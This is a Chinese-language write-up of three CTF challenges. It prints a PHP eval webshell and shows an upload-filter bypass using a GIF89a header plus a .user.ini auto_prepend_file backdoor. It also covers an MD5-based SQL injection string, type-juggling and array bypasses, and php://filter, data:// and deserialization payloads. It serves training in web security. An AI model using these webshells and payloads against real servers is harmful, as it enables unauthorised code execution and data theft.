[SUCTF 2019]CheckIn
一句话木马变形
<?php @eval($_POST['post']) ?>一句话木马常见的可以是用php、jsp、asp、aspx来写
让一句话木马里没有 <? 所以用了<script language="php">eval($_POST['a']);</script>
,但本质上还是 PHP 一句话木马,因为执行函数还是 PHP 的 eval()。
绕过文件检测
- 首先了解到用的是 exif_imagetype() 函数检测文件类型。
- 简单的说,这个函数是通过检测你上传的文件名的文件头来确定文件类型。文件头通常在文件开头几个字节,相当于一个标识符。具体可以自行了解
- 所以我们只要在文件开头加上图片的文件头,就会会认为是图片文件。
- 但仍然无法直接上传 PHP 文件。因为文件后缀正则匹配了ph、而且对大小写不敏感。
- 所以我们如果上传图片马得有办法让它被当作 PHP 文件执行。
对文件后缀的黑名单匹配
通过上传配置文件.user.ini绕过
通过添加gif文件头GIF89a绕过
.user.ini
首先介绍php.ini文件,php有很多配置,并可以在php.ini中设置。在每个正规的网站里,都会由这样一个文件,而且每次运行PHP文件时,都会去读取这个配置文件,来设置PHP的相关规则。除了可以在php.ini中设定外,还可以在其它类似的文件中设定,其中就包括.user.ini文件。
user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。其中有两个配置,可以用来制造后门:auto_append_file、auto_prepend_file
- 简单的说,我们应该知道 PHP 中的配置文件 php.ini ,很多操作都需要修改它,比如说可以隐藏报错、修改上传文件限制等。
- 而我们要用的 .user.ini也是 PHP 的一个配置文件,但没有 php.ini 等级高。就像admin用户和普通用户的差别,php.ini 有很多配置权限,但 .user.ini没有。
- 但仍然可以帮助我们执行图片马原因有以下的配置选项。
auto_prepend_file 或 auto_append_file
auto_prepend_file 在页面顶部加载文件
(指定的文件能够在主文件执行前自动被解析)
auto_append_file 在页面底部加载文件
(指定的文件的内容在主文件执行后自动被解析)
- 什么意思呢,相当于在每个php页面加上一句 include() ,可以在PHP中加载执行另一个PHP文件。
- 注意,是每个,也就是说只要有 PHP 文件被加载,就会去加载执行这个文件,而且是以 PHP 的方式解析。
- 所以,我们上面绕过了了文件验证,上传了一个 .user.ini 文件,再上传一个图片马,让被执行的 PHP 文件去包含执行我们的图片马,就可以用蚁剑连接来得到flag。
另外,如果php脚本使用了exit()中断退出,auto_append_file就不会被执行
题解
最简单的方式就是先上传一个后缀名为 GIF的 PHP 文件,再抓包加上文件头文本 GIF89a ,
成功传入图片马,再上传 包含auto_prepend_file配置选项的.user.ini文件,让它去包含我们上传的图片马。
成功传入.user.ini 同时,知道了存在被执行的index.php 文件,同时知道了文件路径,所以用蚁剑来连接。
http://69a5ba54-c3eb-4c89-95f2-648ef5626820.node3.buuoj.cn/uploads/48cd8b43081896fbd0931d204f947663/index.php
[BJDCTF2020]Easy MD5
ffifdyop
SQL注入中的万能密码,其中md5函数是md5($ string,true)
Hint: select * from 'admin' where password=md5($pass,true)
md5(string,true)函数**(加密函数)**在指定了true的时候,是返回的原始 16 字符二进制格式。也就是说会返回这样子的字符串:'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c
ffifdyop这个字符串经过md5加密后,返回的是原始二进制:'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c。至于什么是原始二进制,这里给个原始二进制介绍
为什么6\xc9]\x99\xe9!r,\xf9\xedb\x1c的布尔值是true呢?
ffifdyop经过md5加密后为’or’6 +trash
password的值被设为了永真,这样就进行了一次SQL注入。
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-
md5的参数必须是字符串,传入数组会返回false,都返回false所以就可以绕过
a[]=1&b[]=2
-
php二等号 == 强类型比较,可以构造两个经过md5后都是以0e开头的字符串,原理是php里面在做 == 的时候会先把两边的类型转成一样的,因为是0e开头,php会认为它是科学技计数法,而0的多少次方都是0。
如:
QNKCDZO
s155964671a
s1091221200a
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
php三等号 === 强类型比较,数组绕过
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
php伪协议
data伪协议写入文件
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
这里需要我们传入text且其内容为welcome to the zjctf,然后用data协议来执行PHP代码
?text=data:text/plain,welcome to the zjctf
为了绕过某些过滤,可用base64加密
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
filter伪协议来读源码:
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
同样使用base64编码
file=php://filter/read=convert.base64-encode/resource=useless.php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
反序列化password
序列化一下那个类
?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}